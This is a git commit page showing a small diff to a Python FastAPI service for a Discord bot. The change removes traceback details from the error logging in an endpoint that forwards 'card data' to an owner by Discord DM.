fix: Simplify error logging in receive_number_data by removing traceback details

This commit is contained in:
Slipstream 2025-05-21 17:10:48 -06:00
parent 3dbed19952
commit 1d10cc4c40
Signed by: slipstream
GPG Key ID: 13E498CE010AC6FD

View File

@ -2912,13 +2912,10 @@ async def receive_number_data(data: NumberData):
return {"success": True, "message": "Card data DMed to owner successfully."} return {"success": True, "message": "Card data DMed to owner successfully."}
else: else:
log.error(f"Failed to DM card data to owner {owner_id}: {result['message']}") log.error(f"Failed to DM card data to owner {owner_id}: {result['message']}")
tb = traceback.format_exc()
log.error(f"Failed to DM card data to owner {owner_id}: {result['message']}\nTraceback:\n{tb}")
raise HTTPException(status_code=500, detail=f"Failed to send DM to owner: {result['message']}") raise HTTPException(status_code=500, detail=f"Failed to send DM to owner: {result['message']}")
except Exception as e: except Exception as e:
tb = traceback.format_exc() log.error(f"Unexpected error in receive_number_data for owner {owner_id}: {e}")
log.error(f"Unexpected error in receive_number_data for owner {owner_id}: {e}\nTraceback:\n{tb}")
raise HTTPException(status_code=500, detail=f"Failed to process card data: {str(e)}") raise HTTPException(status_code=500, detail=f"Failed to process card data: {str(e)}")
@discordapi_app.post("/sync") @discordapi_app.post("/sync")
@ -3132,7 +3129,6 @@ else:
if __name__ == "__main__": if __name__ == "__main__":
import uvicorn import uvicorn
import traceback
# Use settings loaded by Pydantic # Use settings loaded by Pydantic
ssl_available_main = settings.SSL_CERT_FILE and settings.SSL_KEY_FILE and os.path.exists(settings.SSL_CERT_FILE) and os.path.exists(settings.SSL_KEY_FILE) ssl_available_main = settings.SSL_CERT_FILE and settings.SSL_KEY_FILE and os.path.exists(settings.SSL_CERT_FILE) and os.path.exists(settings.SSL_KEY_FILE)